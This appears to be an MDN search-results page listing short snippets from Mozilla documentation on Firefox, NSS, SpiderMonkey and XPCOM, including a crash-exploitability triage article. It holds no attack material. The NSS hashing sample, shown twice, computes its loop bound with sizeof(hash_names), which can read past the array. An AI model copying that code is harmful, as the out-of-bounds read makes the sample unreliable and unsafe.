... 10 firefox ui considerations for web developers activity stream, firefox, icons, mozilla, new tab, newtab, ui, web, web development, favicon there are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way.
... one example is the new tab page, which includes a "top sites" section showing sites you visit that firefox thinks you're likely to want to visit again, as well as potentially some sites that have been pinned to always appear in that space.
...And 4 more matches
Tracking Protection
sometimes users won’t notice at all, if the page grid works such that other page elements slide in to fill holes left by blocked elements.
... you will also be able to disable tracking protection entirely if you choose by accessing the tracking settings.
... if tracking cookies were present, you would be able to view the list by clicking on "blocking tracking cookies" in the above image to view the following popup: you can click "manage content blocking" to change the blocking settings: how does firefox choose what to block?
...And 4 more matches
Firefox
with broad compatibility, the latest in web technologies, and powerful development tools, firefox is a great choice for both web developers and end users.
... firefox is an open source project; much of the code is contributed by our huge community of volunteers.
...the most useful is the url about:config, which displays preferences and settings that can be inspected and changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way.
...And 4 more matches
HTMLIFrameElement.findAll()
the findall() method of the htmliframeelement searches for a string in a browser <iframe>'s text content; if found, the first instance of the string relative to the caret position will be highlighted.
... invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results.
... syntax instanceofhtmliframeelement.findall(searchstring, casesensitivity); returns void.
...And 4 more matches
MozBeforePaint
gecko 2.0 adds a new method for performing javascript controlled animations that synchronize not only with one another, but also with css transitions and smil animations being performed within the same window.
... usage outline in order to time your animation, the first thing you need to know is the time base; that is, the time at which your animation sequence started.
...this new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running.
...And 4 more matches
How to get a stacktrace for a bug report
this article describes how to use the mozilla crash reporter (breakpad) to get a crash id, which our engineers can use to get a stacktrace, and alternative ways to get a stacktrace if you can't get a crash id.
...if you have any additional information about the crash, such as additional detail on what you were doing at the time that may have triggered the crash, please enter it into the comments box.
... be sure that you check the "tell mozilla about this crash" checkbox and click the restart button.
...And 4 more matches
Addon
the interface can represent many different kinds of add-ons and as such, some of the methods and properties are considered "required" and others "optional," which means that the optional methods or property may not exist on addon instances for some types of add-ons.
...for some add-ons this will change immediately based on the appdisabled and userdisabled properties; for others it will only change after an application restart.
... averagerating read only number reviewcount read only integer reviewurl read only string totaldownloads read only integer weeklydownloads read only integer dailyusers read only integer repositorystatus read only integer callbacks datadirectorycallback() a callback which is passed a directory path, and, when an error has occured, an error object.
...And 4 more matches
DownloadList
the returned array does not change when downloads are added or removed, though the download objects it contains are still updated in real time.
... note: when a download is added to the list, its onchange event is registered by the list, thus it cannot be used to monitor the download.
... to receive change notifications for downloads that are added to the list, use the addview() method to register for ondownloadchanged notifications.
...And 4 more matches
Http.jsm
headers or post data are given as an array of arrays, for each inner array the first value is the key and the second is the value.
... submitting post data httprequest allows attaching data to the post requests.
...when null/undefined is given, no post data will be attached.
...And 4 more matches
Webapps.jsm
the webapps.jsm modules exposes the domapplicationregistry, which is responsible for managing all of the open web apps.
...overview init: function() loadcurrentregistry: function() notifyappsregistrystart: function notifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,)...
...astmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupda...
...And 4 more matches
Mozilla Framework Based on Templates (MFBT)
it also attempts to define its functionality in well-named files, such that simply skimming the contents of mfbt/ will quickly suggest the relevant header to examine.
...feel free to file a documentation bug if you think this approach could be improved, and feel free to make improvements to this document if you see them.
... checkedint.h implements checked integers.
...And 4 more matches
Basics
with mathml, one can build sets such as (go on, right-click any of these equations to experiment the zoom) { 0 , 1 , 2 , 3 , 4 } or { ⌊ a b ⌋ | a 2 + b 2 ≤ 3 } , write calculus d y d x = 1 y 2 , form rather complicated expressions lim n → n ( 1 + 1 n ) n − e n , k = ∂ 2 z ∂ x 2 ∂ 2 z ∂ y 2 - ( ∂ 2 z ∂ x ∂ y ) 2 ( 1 ...
...you can also make displayed equations, such as the following ones: x → maps to y = f n ⁡ ( x ) = ( 1 + 1 x n ) n ∫ a b f ( x ) d x = b - a 6 [ f ( a ) + 4 f ( a + b 2 ) + f ( b ) ] - ( b - a ) 5 4 !
... f ( 4 ) ( η ) , a ≤ η ≤ b | x | = { - x if x < 0 x otherwise you can also typeset 2d mathematical constructs such as matrices.
...And 4 more matches
Measuring performance using the PerfMeasurement.jsm code module
note: the perfmeasurement.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on.
...you give the constructor a bit-mask of events you're interested in; see note: at present, perfmeasurement.jsm is only functional on linux, but it is planned to add support for windows (bug 583322) and osx (bug 583323) as well, and we welcome patches for other operating systems.
... for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types.
...And 4 more matches
tools/power/rapl
these are machine-wide estimates, so if you want to estimate the power consumption of a single program you should minimize other activity on the machine while measuring.
...note that if you do change this file, its contents may reset when the machine is next rebooted.
... the first line indicates the meaning of each column.
...And 4 more matches
Creating a Cookie Log
change to your firefox directory (usually c:\program files\mozilla firefox) type "set nspr_log_file=c:\temp\cookie-log.txt", enter type "set nspr_log_modules=cookie:4" and press enter run firefox by typing "firefox.exe" and pressing enter.
... change to the installation directory for firefox.
... run firefox by typing "./firefox" and pressing enter mac os x open terminal.app, which is located in the /applications/utilities folder (these instructions are for bash, the default shell in mac os x 10.3 and higher; if you use something else, you probably know how to modify these instructions already).
...And 4 more matches
PR_Open
syntax #include <prio.h> prfiledesc* pr_open( const char *name, printn flags, printn mode); parameters the function has the following parameters: name the pathname of the file to be opened.
...if the flags parameter does not include any of the first three flags (pr_rdonly, pr_wronly, or pr_rdwr), the open file can't be read or written, which is not useful.
... pr_append 0x10 the file pointer is set to the end of the file prior to each write.
...And 4 more matches
FIPS Mode - an explanation
if you're a us government worker, and you want to use a mozilla software product such as firefox, or any product that uses nss, you will want to use it in a way that is fully conformant with all the relevant fips regulations.
... to that end, mozilla products can function in a "fips mode", which is really "fips 140 mode", when paired with a compliant copy of nss.
... it must implement the us government standard algorithms (also specified in other fips documents) such as aes, triple-des, sha-1 and sha-256, that are needed to do whatever job the application wants it to perform.
...And 4 more matches
Introduction to Network Security Services
for information on which static libraries in nss 3.1.1 are replaced by each of the above shared libraries in nss 3.2 , see migration from nss 3.1.1.
... figure 1, below, shows a simplified view of the relationships among the three shared libraries listed above and nspr, which provides low-level cross platform support for operations such as threading and i/o.
...the two libraries exist to provide optimal performance on each of the two types of cpus.
...And 4 more matches
NSS Key Log Format
note: starting with nss 3.24 (used by firefox 48 and 49 only), the sslkeylogfile approach is disabled by default for optimized builds using the makefile (those using gyp via build.sh are not affected).
... distributors can re-enable it at compile time though (using the nss_allow_sslkeylogfile=1 make variable) which is done for the official firefox binaries.
...comment lines begin with a sharp character ('#') and are ignored.
...And 4 more matches
NSS_3.12.1_release_notes.html
nss 3.12.1 release notes 2008-09-05 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.1 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.1 is a patch release for nss 3.12.
...the tar.gz or zip file expands to an nss-3.12.1 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.1 requires.
...caller chooses encoding rules.
...And 4 more matches
NSS_3.12.2_release_notes.html
nss 3.12.2 release notes 2008-10-20 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.2 bugs fixed documentation compatibility feedback introduction network security services (nss) 3.12.2 is a patch release for nss 3.12.
...the tar.gz or zip file expands to an nss-3.12.2 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin< - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.12.2 requires.
... new in nss 3.12.2 new functions in the nss shared library: sec_pkcs12addcertorchainandkey (see p12.h) new pkcs11 errors (see secerr.h) sec_error_pkcs11_general_error sec_error_pkcs11_function_failed sec_error_pkcs11_device_error bugs fixed the following bugs have been fixed in nss 3.12.2.
...And 4 more matches
NSS 3.12.5 release_notes
nss 3.12.5 release notes 2009-12-02 newsgroup: mozilla.dev.tech.crypto introduction network security services (nss) 3.12.5 is a patch release for nss 3.12.
... you can check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_5_rtm nss see the documentation section for the build instructions.
...this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
...And 4 more matches
NSS 3.16.1 release notes
introduction network security services (nss) 3.16.1 is a patch release for nss 3.16.
... in secmod.h secmod_internaltopubmechflags - converts from nss-internal to public representation of mechanism flags.
... new types in sslt.h ssl_padding_xtn - the value of this enum constant changed from the experimental value 35655 to the iana-assigned value 21.
...And 4 more matches
NSS 3.46 release notes
introduction the nss team has released network security services (nss) 3.46 on 30 august 2019, which is a minor release.
... notable changes in nss 3.46 certificate authority changes the following ca certificates were removed: bug 1574670 - remove expired class 2 primary root certificate sha-256 fingerprint: 0f993c8aef97baaf5687140ed59ad1821bb4afacf0aa9a58b5d57a338a3afbcb bug 1574670 - remove expired utn-userfirst-client root certificate sha-256 fingerprint: 43f257412d440d627476974f877d...
...a8f1fc2444565a367ae60eddc27a412531ae bug 1574670 - remove expired deutsche telekom root ca 2 root certificate sha-256 fingerprint: b6191a50d0c3977f7da99bcdaac86a227daeb9679ec70ba3b0c9d92271c170d3 bug 1566569 - remove swisscom root ca 2 root certificate sha-256 fingerprint: f09b122c7114f4a09bd4ea4f4a99d558b46e4c25cd81140d29c05613914c3841 upcoming changes to default tls configuration the next nss team plans to make two changes to the default tls configuration in nss 3.47, which will be released in october: tls 1.3 will be the default maximum tls version.
...And 4 more matches
NSS Config Options
ormat the specified ciphers will be allowed by policy, but an application may allow more by policy explicitly: config="allow=curve1:curve2:hash1:hash2:rsa-1024..." only the specified hashes and curves will be allowed: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1" only the specified hashes and curves will be allowed, and rsa keys of 2048 or more will be accepted, and dh key exchange with 1024-bit primes or more: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1:min-rsa=2048:min-dh=1024" a policy that enables the aes ciphersuites and the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl config="disallow=md5(ssl):sha1(...
...ssl)" disallow values are parsed first, and then allow values, independent of the order in which they appear.
...flags: turn on the following flags: ssl-lock: turn off the ability for applications to change policy with the ssl_setcipherpolicy (or ssl_setpolicy).
...And 4 more matches
Hashing - sample 1
*/ /* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> #include <nss.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* * maps a hash name to a ...
... * returns null if the name if not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0...
...lumn += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names...
...And 4 more matches
sample1
/* nspr headers */ #include <prprf.h> #include <prtypes.h> #include <plgetopt.h> #include <prio.h> #include <prprf.h> /* nss headers */ #include <secoid.h> #include <secmodt.h> #include <sechash.h> typedef struct { const char *hashname; secoidtag oid; } nametagpair; /* the hash algorithms supported */ static const nametagpair hash_names[] = { { "md2", sec_oid_md2 }, { "md5", sec_oid_md5 }, { "sha1", sec_oid_sha1 }, { "sha256", sec_oid_sha256 }, { "sha384", sec_oid_sha384 }, { "sha512", sec_oid_sha512 } }; /* maps a hash name to a secoidtag.
... * returns null if the name is not a supported algorithm */ static secoidtag hashnametooidtag(const char *hashname) { int i, nhashes = sizeof(hash_names); secoidtag hashtag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; ...
... } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, ...
...And 4 more matches
Overview of NSS
open source crypto libraries proven application security architecture if you want to add support for ssl, s/mime, or other internet security standards to your application, you can use network security services (nss) to implement all your security features.
... aol instant messenger (aim) open source client applications such as evolution, pidgin, apache openoffice, and libreoffice.
... server products from red hat: red hat directory server, red hat certificate system, and the mod_nss ssl module for the apache web server.
...And 4 more matches
NSS tools : cmsutil
name cmsutil — performs basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
...each command takes one option.
...And 4 more matches
troubleshoot.html
troubleshooting nss and jss builds newsgroup: mozilla.dev.tech.crypto this page summarizes information on troubleshooting the nss and jss build and test systems, including known problems and configuration suggestions.
... if you have suggestions for this page, please post them to mozilla.dev.tech.crypto.
... if the build fails early on the gmakein coreconf try updating your cvs tree with -p: cd mozilla cvs update -p building a 32-bit version on a 64-bit may fail with: /usr/include/features.h:324:26: fatal error: bits/predefs.h: no such file or directory in this case remember to set use_64=1 testing nss the ssl stress test opens 2,048 tcp connections in quick succession.
...And 4 more matches
NSS Tools
nss security tools newsgroup: mozilla.dev.tech.crypto overview the nss security tools allow developers to test, debug, and manage applications that use nss.
...the links for each tool take you to the source code, documentation, plans, and related links for each tool.
... if you have feedback or questions, please feel free to post to mozilla.dev.tech.crypto.
...And 4 more matches
Utility functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
... the nss version column indicates which versions of nss support the function.
...e nssbase64_decodebuffer atob_convertasciitoitem mxr deprecated 3.2 use nssbase64_decodebuffer btoa_convertitemtoascii mxr deprecated 3.2 use nssbase64_encodeitem btoa_datatoascii mxr deprecated 3.2 use nssbase64_encodeitem der_asciitotime mxr 3.5 and later der_decodetimechoice mxr 3.9 and later der_encode mxr 3.4 and later der_encodetimechoice mxr 3.9 and later der_generalizedtimetotime mxr 3.2 and later der_getinteger mxr 3.2 and later der_generalizeddaytoascii mxr 3.11.7 and later der_lengths ...
...And 4 more matches
NSS tools : cmsutil
MozillaProjectsNSStoolscmsutil
name cmsutil — performs basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
... synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
...each command takes one option.
...And 4 more matches
Rhino JavaScript compiler
note that the top-level functions available to the shell (such as print) are not available to compiled scripts when they are run outside the shell.
...each global function in the source file is made a method of the generated class, overriding any methods in the base class by the same name.
...each global function in the source file is made a method of the generated class, implementing any methods in the interface by the same name.
...And 4 more matches
Rhino overview
in addition, rhino has implemented javaadapters, which allows javascript to implement any java interface or extend any java class with a javascript object.
...javascript: the definitive guide is recommended, and contains a chapter on rhino.
...in browser embeddings, this language version is selected using the language attribute of the script tag with values such as "javascript1.2".
...And 4 more matches
SpiderMonkey Internals: Thread Safety
each runtime has one or more jscompartments.
... the jscompartment is the universe in which js objects live.
...the jscontext can be thought of as a machine that knows how to run javascript code, or as an abstraction of the notion of a thread.
...And 4 more matches
JS::CallArgs
(3nd argument of jsnative) methods methods of js::callargs method description bool requireatleast(jscontext *cx, const char *fnname, unsigned required) returns true if there are at least required arguments passed in.
... js::handlevalue get(unsigned i) const returns the i-th zero-indexed argument, or undefined if there's no such argument.
...(spidermonkey doesn't currently assert this, but it will do so eventually.) you don't need to use or change this if your method fails.
...And 4 more matches
JS::CloneFunctionObject
syntax jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj); jsobject * js::clonefunctionobject(jscontext *cx, js::handleobject funobj, js::autoobjectvector &scopechain); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... scopechain js::autoobjectvector the new function's scope chain.
...if scopechain is supplied, it uses scopechain as its enclosing scope.
...And 4 more matches
JSGetObjectOps
jsgetobjectops is the type for jsclass.getobjectops callback syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in which the new object is being created.
...all native objects have a jsclass, which is stored as a private (int-tagged) pointer in object slots.
... in contrast, all native and host objects have a jsobjectmap at obj->map, which may be shared among a number of objects, and which contains the jsobjectops *ops pointer used to dispatch object operations from api calls.
...And 4 more matches
JSObjectOps.dropProperty
details of the api may change from one release to the next.
... obj jsobject * the object of which prop is an own property.
... as a spidermonkey implementation detail, what is actually locked here (under the native implementation of jsobjectops) is not the property but some collection of objects including the object on which the property is defined.
...And 4 more matches
JSObjectOps.lookupProperty
details of the api may change from one release to the next.
... the jsobjectops.lookupproperty callback is called for every property access (except when a higher-level callback, such as jsobjectops.getproperty, is overloaded in a way that does not call lookupproperty).
... syntax typedef jsbool (*jslookuppropop)(jscontext *cx, jsobject *obj, jsid id, jsobject **objp, jsproperty **propp); name type description cx jscontext * pointer to the js context in which the property lookup is happening.
...And 4 more matches
JS_Add*Root
syntax jsbool js_addvalueroot(jscontext *cx, jsval *vp); jsbool js_addstringroot(jscontext *cx, jsstring **spp); jsbool js_addobjectroot(jscontext *cx, jsobject **opp); jsbool js_addgcthingroot(jscontext *cx, void **rp); jsbool js_addnamedvalueroot(jscontext *cx, jsval *vp, const char *name); jsbool js_addnamedstringroot(jscontext *cx, jsstring **spp, const char *name); jsbool js_addnamedobjectroot(jscontext *cx, jsobject **opp, const char *name); jsbool js_addnamedgcthingroot(jscontext *cx, void **rp, const char *name); name type description cx jscontext * the context in which to add the new root.
...ring ** (in js_addstringroot and js_addnamedstringroot) the address of the jsstring* variable to root opp jsobject ** (in js_addobjectroot and js_addnamedobjectroot) the address of the jsobject* variable to root rp void ** (in js_addgcthingroot and js_addnamedgcthingroot) the address of the jsstring* or jsobject* (not jsval) variable to root name const char * (in js_addnamedroot and js_addnamedrootrt) the name of the new root, or null.
... description the js_add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points each time the collector checks to see what memory is reachable.
...And 4 more matches
JS_AliasProperty
syntax jsbool js_aliasproperty(jscontext *cx, jsobject *obj, const char *name, const char *alias); name type description cx jscontext * pointer to a js context from which to derive runtime information.
... obj jsobject * object for which to create the alias.
... name const char * name of the property for which to create an alias.
...And 4 more matches
JS_CompileScript
syntax // added in spidermonkey 45 bool js_compilescript(jscontext *cx, const char *ascii, size_t length, const js::compileoptions &options, js::mutablehandlescript script); bool js_compileucscript(jscontext *cx, const char16_t *chars, size_t length, const js::compileoptions &options, js::mutablehandlescript script); // obsolete since jsapi 39 bool js_compilescript(jscontext *cx, js::handleobject obj, const char *ascii, size_t length, const js::compileoptions &options, js::mutablehandlescript script); bool js_compileucscript(jscontext *cx, js::handleobject obj, const char16_...
...t *chars, size_t length, const js::compileoptions &options, js::mutablehandlescript script); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...obsolete since jsapi 39 ascii or chars const char * or const char16_t * string containing the script to compile.
...And 4 more matches
JS_DefineProperties
syntax bool js_defineproperties(jscontext *cx, js::handleobject obj, const jspropertyspec *ps); name type description cx jscontext * the context in which to define the properties.
... obj jsobject * the object on which to define new properties.
...each array element defines a single property: its name, attributes, getter, and setter.
...And 4 more matches
JS_EvaluateScript
syntax jsbool js_evaluatescript(jscontext *cx, jsobject *obj, const char *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluateucscript(jscontext *cx, jsobject *obj, const jschar *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); name type description cx jscontext * the context in which to run the script.
... obj jsobject * the scope in which to execute the script.
... src const char * or const jschar * string containing the script to compile and execute.
...And 4 more matches
JS_EvaluateScriptForPrincipals
syntax jsbool js_evaluatescriptforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluatescriptucforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const jschar *src, unsigned int length, const char *filename, unsigned int lineno, jsval *rval); jsbool js_evaluatescriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const char *bytes, unsigned int length, con...
...st char *filename, unsigned int lineno, jsval *rval, jsversion version); jsbool js_evaluateucscriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const jschar *chars, unsigned int length, const char *filename, unsigned int lineno, jsval *rval, jsversion version); name type description cx jscontext * the context in which to run the script.
... obj jsobject * the scope in which to execute the script.
...And 4 more matches
JS_HasOwnProperty
syntax bool js_hasownproperty(jscontext* cx, handleobject obj, const char* name, bool* foundp) bool js_hasownpropertybyid(jscontext* cx, handleobject obj, handleid id, bool* foundp) name type description cx jscontext * a context.
... obj js::handleobject object to search on for the property.
... name or id const char * or js::handleid name of the property to look up.
...And 4 more matches
JS_InitClass
js_initclass(jscontext *cx, js::handleobject obj, js::handleobject parent_proto, const jsclass *clasp, jsnative constructor, unsigned nargs, const jspropertyspec *ps, const jsfunctionspec *fs, const jspropertyspec *static_ps, const jsfunctionspec *static_fs); name type description cx jscontext * pointer to a js context from which to derive runtime information.
...its scope matches that of the obj argument.
... ps jspropertyspec * either null or a pointer to the first element of an array of jspropertyspecs, terminated by the null jspropertyspec, which can be written {0, 0, 0, 0, 0}.
...And 4 more matches
JS_MakeStringImmutable
description a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascript engine can reallocate so that concatenating it with another string is much faster.
...in memory it is represented as a pointer to the other string and a pair of integers for the substring's starting point and length, rather than as a separate copy of all the characters.
... this makes the substring operation, and regular expression matches, faster.
...And 4 more matches
JS_NewContext
syntax jscontext * js_newcontext(jsruntime *rt, size_t stackchunksize); name type description rt jsruntime * parent runtime for the new context.
... stackchunksize size_t the size, in bytes, of each "stack chunk".
... this is a memory management tuning parameter which most users should not adjust.
...And 4 more matches
JS_NewScriptObject
syntax jsobject * js_newscriptobject(jscontext *cx, jsscript *script); name type description cx jscontext * the context in which to create the new script object.
... script jsscript * the compiled script for which to create a new script object.
...as long as the script object is reachable, the jsscript and its components are protected from garbage collection; when the script object is collected, the jsscript and its contents are freed.
...And 4 more matches
JS_ReportErrorNumber
..); bool js_reporterrorflagsandnumberuc(jscontext *cx, unsigned flags, jserrorcallback errorcallback, void *userref, const unsigned errornumber, ...); void js_reporterrornumberucarray(jscontext *cx, jserrorcallback errorcallback, void *userref, const unsigned errornumber, const char16_t **args); // added in spidermonkey 19 name type description cx jscontext * the context in which to report the error.
... errorcallback jserrorcallback callback to fetch the error message.
.../ const char16_t ** additional arguments for the error message.
...And 4 more matches
JS_SetErrorReporter
get or specify the error reporting mechanism for an application.
... callback syntax typedef void (* jserrorreporter)(jscontext *cx, const char *message, jserrorreport *report); name type description cx jscontext * the context in which the error happened.
... message const char * an error message.
...And 4 more matches
Exploitable crashes
this article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.
...if you see a hex address such as 0x292c2830 rather than a function name such as nslistboxbodyframe::getrowcount at the top of the stack, a bug has caused the program to transfer control to a "random" part of memory that isn't part of the program.
... look at the crash reason, which will usually be something like "kern_protection_failure (0x0002) at 0x00000000".
...And 4 more matches
Using the Places favicon service
creating the favicon service the favicon service's contract id is @mozilla.org/browser/favicon-service;1, so to gain access to the favicon service, you should do something like this: var faviconservice = components.classes["@mozilla.org/browser/favicon-service;1"] .getservice(components.interfaces.nsifaviconservice); caching the favicon service stores an expiration time for each favicon.
...this makes sure that we aren't obsessively reloading favicons into the database for every page viewed, but also that changes in the favicon will be picked up quickly.
... most of the time, the favicon will be served from the browser's cache and will have minimal performance impact.
...And 4 more matches
Using the Places livemark service
you can also use it to check whether an item is a livemark.
... var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark.
...this creates the encapsulating livemark without actually fetching the rss feed's contents.
...And 4 more matches
XPCOM glue
MozillaTechXPCOMGlue
the xpcom glue is a static library which component developers and embedders can link against.
... code which wishes to use only frozen symbols but can tolerate a load-time dependency on xpcom.dll should link against xpcomglue_s.lib and xpcom.lib.
...this is the case for xpcom components, because they are loaded into mozilla which already has full xpcom loaded and initialized.
...And 4 more matches
XPCOM hashtable guide
each item has a key that identifies the item.
...good hashtable implementations will automatically resize the hashtable in memory if extra space is needed, or if too much space has been allocated.
... which hashtable should i use?
...And 4 more matches
Components.utils
dispatch() dispatches a runnable to the current/main thread.
... if the parameter is passed, the runnable will be dispatch in the compartment of the parameter, which affects which error reporter gets called.
... getcomponentsforscope() this seemingly-paradoxical api allows privileged code to explicitly give unprivileged code a reference to its own components object (whereas it's normally hidden away on a scope chain visible only to xbl methods).
...And 4 more matches
jsdIStackFrame
inherits from: jsdiephemeral last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) strict mode is on.
...makes eval() use the last object on its 'obj' param's scope chain as the ecma 'variables object'.
...top of the scope chain for this context.
...And 4 more matches
mozIVisitInfoCallback
toolkit/components/places/public/moziasynchistory.idlscriptable this interface provides callback handling functionality for moziasynchistory.updateplaces() 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) method overview void handleerror(in nsresult aresultcode, in moziplaceinfo aplaceinfo); void handleresult(in moziplaceinfo aplaceinfo); void oncomplete(in nsresult aresultcode, in moziplaceinfo aplaceinfo);obsolete since gecko 8.0 methods handleerror() called when a moziplaceinfo couldn't be processed.
... void handleerror( in nsresult aresultcode, in moziplaceinfo aplaceinfo ); parameters aresultcode nsresult indicating the reason why the change failed.
... handleresult() called for each visit added, title change, or guid change when passed to moziasynchistory.updateplaces().
...And 4 more matches
nsIAlertsService
1.0 66 introduced gecko 1.7 inherits from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) by default a message is displayed in a small window that slides up from the bottom of the screen, holds there for a few seconds, then slides down.
... note: if you are calling this function from javascript, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22.
...however, certain notification systems (such as growl on mac os x) allow the user to disable alerts by name.
...And 4 more matches
nsIArray
inherits from: nsisupports last changed in gecko 1.7 an indexed collection of elements.
... provides basic functionality for retrieving elements at a specific position, searching for elements.
... indexes are zero-based, such that the last element in the array is stored at the index length-1.
...And 4 more matches
nsIAuthInformation
